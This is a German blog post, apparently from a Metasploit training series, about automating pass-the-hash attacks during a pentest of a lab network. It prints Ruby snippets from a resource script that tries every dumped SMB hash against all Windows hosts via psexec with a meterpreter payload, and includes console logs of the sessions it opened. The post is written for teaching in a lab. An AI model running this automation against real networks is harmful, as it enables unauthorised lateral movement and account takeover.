no one is safe ...

Automatisierung im Rahmen eines Pentests - part 9 (Pass the Hash)

Im Rahmen eines Penetrations Tests war es möglich ein Windows System zu übernehmen und mit dem Hashdump Post Exploitation Modul die Passwort Hashes auszulesen. Eine Abfrage der Credential Datenbank im Metasploit Framework könnte sich beispielsweise ähnlich der folgenden darstellen:

10.8.28.2 - (Sessions: 1 Jobs: 0)> creds

Credentials
===========

host           port  user            pass                  type      active?
----           ----  ----            ----                  ----      -------
192.168.44.26  445   TsInternetUser  0339dXXXX:82cdf3XXXX  smb_hash  true
192.168.44.26  445   Guest           aad3bXXXX:31d6cfXXXX  smb_hash  true
192.168.44.26  445   Administrator   d55bdXXXX:f00a15XXXX  smb_hash  true
192.168.44.26  445   bob             81cbcXXXX:561cbdXXXX  smb_hash  true
192.168.44.26  445   IWAM_WIN2K-ENG  8fe23XXXX:c4d689XXXX  smb_hash  true
192.168.44.26  445   IUSR_WIN2K-ENG  a8d8eXXXX:714e83XXXX  smb_hash  true

[*] Found 6 credentials.

Diese Hashes sollten im weiteren Verlauf möglichst einfach, zeitlich optimiert und zielgerichtet gegen die vollständige Windows Umgebung per Pass the Hash zum Einsatz kommen.

Discovery

Im nächsten Schritt muss das Netzwerk auf vorhandene SMB Services analysiert werden. Um diese Analyse möglichst schnell und unkompliziert durchführen zu können, lässt sich das basic_discovery.rc Resource Skript von Metasploit verwenden. Um für den Nmap Scan ausschließlich Port 445 zu testen werden folgende Nmap Optionen mit dem Parameter NMAPOPTS gesetzt.

10.8.28.2 - (Sessions: 0 Jobs: 0)> setg NMAPOPTS -sSV -p445
10.8.28.2 - (Sessions: 0 Jobs: 0)> setg VERBOSE true
10.8.28.2 - (Sessions: 0 Jobs: 0)> setg RHOSTS 192.168.44.0/24
10.8.28.2 - (Sessions: 0 Jobs: 0)> resource basic_discovery.rc

Die dargestellte VERBOSE Option gibt weitere Statusinformationen und RHOSTS definiert den zu analysierenden Netzwerkbereich. Alternativ zu dem Resource Skript lässt sich für diesen Discovery Vorgang auch einfach das smb_version Auxiliary Modul nutzen.

Im Anschluss an den Discovery Vorgang umfasst die Hosts-Tabelle in unserem Fall folgende Einträge:

10.8.28.2 - (Sessions: 0 Jobs: 0)> hosts

Hosts
=====

address         mac                name             os_name            os_flavor  os_sp  purpose  info  comments
-------         ---                ----             -------            ---------  -----  -------  ----  --------
192.168.44.1                                        Unknown                              device
192.168.44.3    00:0c:29:c8:d6:bd  domaincontrolle  Microsoft Windows  2003       SP2    server
192.168.44.22                      pwn-machine      Unknown                              device
192.168.44.23   00:0c:29:26:60:d0  msf-xp           Microsoft Windows  XP         SP3    client
192.168.44.24                      metasploitable   Linux              Debian            server
192.168.44.26   00:0c:29:4f:d3:d8  waytohell        Microsoft Windows  2000       SP4    client
192.168.44.36   00:0c:29:a2:02:5c  waytohell-36     Microsoft Windows  2000       SP4    client
192.168.44.37
<snip>

Unsere Services umfassen folgende SMB Services:

10.8.28.2 - (Sessions: 0 Jobs: 0)> services -s smb -u

Services
========

host            port  proto  name  state  info
----            ----  -----  ----  -----  ----
192.168.44.3    445   tcp    smb   open   Windows 2003 Service Pack 2 (language: Unknown) (name:DOMAINCONTROLLE) (domain:MSF-TRAINING)
192.168.44.22   445   tcp    smb   open   Unix Samba 3.5.6 (language: Unknown) (name:PWN-MACHINE) (domain:PWN-MACHINE)
192.168.44.23   445   tcp    smb   open   Windows XP Service Pack 3 (language: English) (name:MSF-XP) (domain:MSF-TRAINING)
192.168.44.24   445   tcp    smb   open   Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
192.168.44.26   445   tcp    smb   open   Windows 2000 Service Pack 4 with MS05-010+ (language: English) (name:WAYTOHELL) (domain:MSF-TRAINING)
192.168.44.36   445   tcp    smb   open   Windows 2000 Service Pack 4 with MS05-010+ (language: English) (name:WAYTOHELL-36) (domain:MSF-TRAINING)
192.168.44.53   445   tcp    smb   open   Windows XP Service Pack 3 (language: English) (name:MSF-XP-53) (domain:MSF-TRAINING)
192.168.44.63   445   tcp    smb   open   Windows XP Service Pack 3 (language: English) (name:MSF-XP-63) (domain:MSF-TRAINING)
192.168.44.66   445   tcp    smb   open   Windows 2000 Service Pack 4 with MS05-010+ (language: English) (name:WAYTOHELL-66) (domain:MSF-TRAINING)
192.168.44.72   445   tcp    smb   open   Unix Samba 3.5.6 (language: Unknown) (name:LINUX-72) (domain:LINUX-72)
192.168.44.73   445   tcp    smb   open   Windows XP Service Pack 3 (language: English) (name:MSF-XP-73) (domain:MSF-TRAINING)
192.168.44.74   445   tcp    smb   open   Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
192.168.44.76   445   tcp    smb   open   Windows 2000 Service Pack 4 with MS05-010+ (language: English) (name:WAYTOHELL-76) (domain:MSF-TRAINING)
192.168.44.93   445   tcp    smb   open   Windows XP Service Pack 3 (language: English) (name:MSF-XP-93) (domain:MSF-TRAINING)
192.168.44.94   445   tcp    smb   open   Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
192.168.44.96   445   tcp    smb   open   Windows 2000 Service Pack 4 with MS05-010+ (language: English) (name:WAYTOHELL-96) (domain:MSF-TRAINING)
192.168.44.102  445   tcp    smb   open   Unix Samba 3.5.6 (language: Unknown) (name:PWN-MACHINE) (domain:PWN-MACHINE)
192.168.44.103  445   tcp    smb   open   Windows XP Service Pack 3 (language: English) (name:MSF-XP-103) (domain:MSF-TRAINING)
192.168.44.104  445   tcp    smb   open   Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP)
192.168.44.106  445   tcp    smb   open   Windows 2000 Service Pack 4 with MS05-010+ (language: English) (name:WAYTOHELL-106) (domain:MSF-TRAINING)

Pass the Hash

An den dargestellten Ausgaben der Datenbankabfrage ist bereits erkennbar, dass es mehrere Windows Systeme die als Ziele für unseren Angriff durchaus in Frage kommen gibt. Zwischen diesen Windows Systemen befinden sich allerdings auch mehrere Linux Systeme mit Samba Servern die für den Pass the Hash Angriff nicht anfällig sind.

Es müssen im weiteren Verlauf alle vorhandenen Passwort Hashes der Credential Datenbank gegen alle SMB-Services auf Windows Systemen zum Einsatz gebracht werden.

Das auto_pass_the_hash.rc Resource Skript durchläuft im ersten Schritt alle Credentials und überprüft diese auf vorhandene Windows Passwort Hashes:

framework.db.creds.each do |creds|
        next if (creds.ptype !~ /smb_hash/)

Wenn kein Hash dabei ist, wird direkt der nächste Eintrag geprüft. Bei einem ersten Fund eines Passwort Hashes wird erst John the Ripper über das Modul jtr_crack_fast gegen die gesamte Credential Datenbank zum Einsatz gebracht und anschl. werden die ermittelten Hosts durchlaufen und auf Windows Systeme geprüft:

framework.db.hosts.each do |host|
    next if (host.os_name !~ /Windows/) 

Bei Windows Systemen geht das Skript in die Service Datenbank und überprüft die Services auf offene Services die den Namen smb aufweisen:

host.services.each do |serv|
    next if not serv.host
    next if (serv.state != ServiceState::Open)
    next if (serv.name !~ /smb/)

Sind auch diese Bedingungen erfüllt, wird psexec mit den aktuellen Eintrag der Credential Datenbank gegen den SMB Service eines Windows Systems angewendet:

run_single("use exploit/windows/smb/psexec")
run_single("set RHOST #{host.address}")
run_single("set RPORT #{serv.port}")
run_single("set SMBUser #{username}")
run_single("set SMBPass #{smbhash}")
run_single("set PAYLOAD #{pload}")
if pload =~ /reverse/
    run_single("set LPORT #{(rand(0x8fff) + 4000).to_s}")
end
if(verbose == 1)
run_single("set VERBOSE true")
end
run_single("exploit -j -z")

Im dargestellten Netzwerk gestaltet sich dieser Angriff mit den ermittelten Passwort Hashes folgendermaßen (Darstellung in Auszügen):

10.8.28.2 - (Sessions: 1 Jobs: 0)> resource auto_pass_the_hash.rc
[*] Processing /opt/metasploit4/msf3/codes/resource/auto_pass_the_hash.rc for ERB directives.
[*] resource (/opt/metasploit4/msf3/codes/resource/auto_pass_the_hash.rc)> Ruby Code (2960 bytes)
using psexec - Pass the hash

====================================
IP: 192.168.44.3
OS: Microsoft Windows
Servicename: smb
Service Port: 445
Service Protocol: tcp
user: TsInternetUser
pass: XXXX:XXXX
====================================

RHOST => 192.168.44.3
RPORT => 445
SMBUser => TsInternetUser
SMBPass => XXXX:XXXX
PAYLOAD => windows/meterpreter/bind_tcp
VERBOSE => true
[*] Exploit running as background job.
using psexec - Pass the hash
[*] [2012.04.10-10:38:39] Connecting to the server...

====================================
IP: 192.168.44.23
OS: Microsoft Windows
Servicename: smb
Service Port: 445

Service Protocol: tcp
[*] [2012.04.10-10:38:39] Started bind handler
user: TsInternetUser
[*] [2012.04.10-10:38:39] Authenticating to 192.168.44.3:445|WORKGROUP as user 'TsInternetUser'...
pass: XXXX:XXXX
====================================
<snip>
SMBPass => YYYY:YYYY
[*] Meterpreter session 4 opened (10.8.28.2:37068 -> 192.168.44.26:4444) at 2012-04-10 10:39:16 +0200
[*] [2012.04.10-10:39:16] Obtaining a service manager handle...
[*] [2012.04.10-10:39:16] Opening service...
[*] [2012.04.10-10:39:16] Closing service handle...
[*] [2012.04.10-10:39:16] Created \koqjACJh.exe...
PAYLOAD => windows/meterpreter/bind_tcp
VERBOSE => true
[*] [2012.04.10-10:39:17] Deleting \SYHDEQpb.exe...
[*] [2012.04.10-10:39:17] Starting the service...
[*] [2012.04.10-10:39:17] Creating a new service (kQsYotkB - "MtPjuYlSoKPxSKiZrhXz")...
[*] [2012.04.10-10:39:17] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.44.66[\svcctl] ...
[*] Exploit running as background job.
[*] [2012.04.10-10:39:17] Removing the service...
[*] [2012.04.10-10:39:17] Connecting to the server...
using psexec - Pass the hash
[*] [2012.04.10-10:39:17] Started bind handler
[*] [2012.04.10-10:39:18] Authenticating to 192.168.44.93:445|WORKGROUP as user 'Administrator'...

====================================
IP: 192.168.44.96
OS: Microsoft Windows
Servicename: smb
Service Port: 445
Service Protocol: tcp
user: Administrator
pass: YYYY:YYYY
====================================

[*] [2012.04.10-10:39:18] Closing service handle...
[*] [2012.04.10-10:39:18] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.44.66[\svcctl] ...
[*] [2012.04.10-10:39:18] Sending stage (752128 bytes) to 192.168.44.53
[*] [2012.04.10-10:39:18] Obtaining a service manager handle...
[*] Meterpreter session 5 opened (10.8.28.2:39985 -> 192.168.44.36:4444) at 2012-04-10 10:39:18 +0200
[-] [2012.04.10-10:39:18] Exploit exception: Login Failed: The server responded with error: STATUS_TRUSTED_RELATIONSHIP_FAILURE (Command=115 WordCount=0)
[*] [2012.04.10-10:39:18] Closing service handle...
RHOST => 192.168.44.96
[*] [2012.04.10-10:39:19] Deleting \cCUXWxzL.exe...
[*] [2012.04.10-10:39:19] Creating a new service (eeaxVKMY - "MXDKBzdHyOWnZYElJgzyj")...
RPORT => 445
SMBUser => Administrator
SMBPass => YYYY:YYYY
[*] [2012.04.10-10:39:20] Opening service...

Im Anschluss and diesen Vorgang ergibt eine neue Abfrage der Credential Datenbank folgendes Bild:

10.8.28.2 - (Sessions: 13 Jobs: 1)> creds

Credentials
===========

host            port  user            pass  type      active?
----            ----  ----            ----  ----      -------
192.168.44.3    445   administrator   XXXX  smb_hash  true
192.168.44.23   445   administrator   XXXX  smb_hash  true
192.168.44.26   445   TsInternetUser  XXXX  smb_hash  true
192.168.44.26   445   iwam_win2k-eng  XXXX  smb_hash  true
192.168.44.26   445   bob             XXXX  smb_hash  true
192.168.44.26   445   iusr_win2k-eng  XXXX  smb_hash  true
192.168.44.26   445   Guest           XXXX  smb_hash  true
192.168.44.26   445   Administrator   XXXX  smb_hash  true
192.168.44.26   445   IUSR_WIN2K-ENG  XXXX  smb_hash  true
192.168.44.26   445   tsinternetuser  XXXX  smb_hash  true
192.168.44.26   445   IWAM_WIN2K-ENG  XXXX  smb_hash  true
192.168.44.26   445   administrator   XXXX  smb_hash  true
192.168.44.36   445   iusr_win2k-eng  XXXX  smb_hash  true
192.168.44.36   445   iwam_win2k-eng  XXXX  smb_hash  true
192.168.44.36   445   tsinternetuser  XXXX  smb_hash  true
192.168.44.36   445   administrator   XXXX  smb_hash  true
192.168.44.36   445   bob             XXXX  smb_hash  true
192.168.44.53   445   administrator   XXXX  smb_hash  true
192.168.44.63   445   administrator   XXXX  smb_hash  true
192.168.44.66   445   tsinternetuser  XXXX  smb_hash  true
192.168.44.66   445   bob             XXXX  smb_hash  true
192.168.44.66   445   administrator   XXXX  smb_hash  true
192.168.44.66   445   iusr_win2k-eng  XXXX  smb_hash  true
192.168.44.66   445   iwam_win2k-eng  XXXX  smb_hash  true
192.168.44.73   445   administrator   XXXX  smb_hash  true
192.168.44.76   445   bob             XXXX  smb_hash  true
<snip>

[*] Found 41 credentials.

Zudem zeigt die Abfrage der Sessions jetzt 13 Sessions an. Wir konnten somit in sehr kurzer Zeit das vollständige Netzwerk auf vorhandene User und gleiche Passwort Hashes prüfen. Handelt es sich bei dem geprüften User um einen administrativen Benutzer wird sofort eine Session aufgebaut. :-)

Ich hoffe ihr habt alle euer Passwort Management der lokalen Accounts im Einsatz :-D

Falls ihr weitere Informationen zu Metasploit benötigt findet ihr diese in meinem Buch. Erste Probekapitel findet ihr zudem auf der dpunkt-Webseite.

Das Buch lässt sich natürlich auf Amazon bestellen.

Bis zum nächsten Teil wo wir weitere Automatisierungsmöglichkeiten von Metasploit betrachten werden.

have phun,
mIke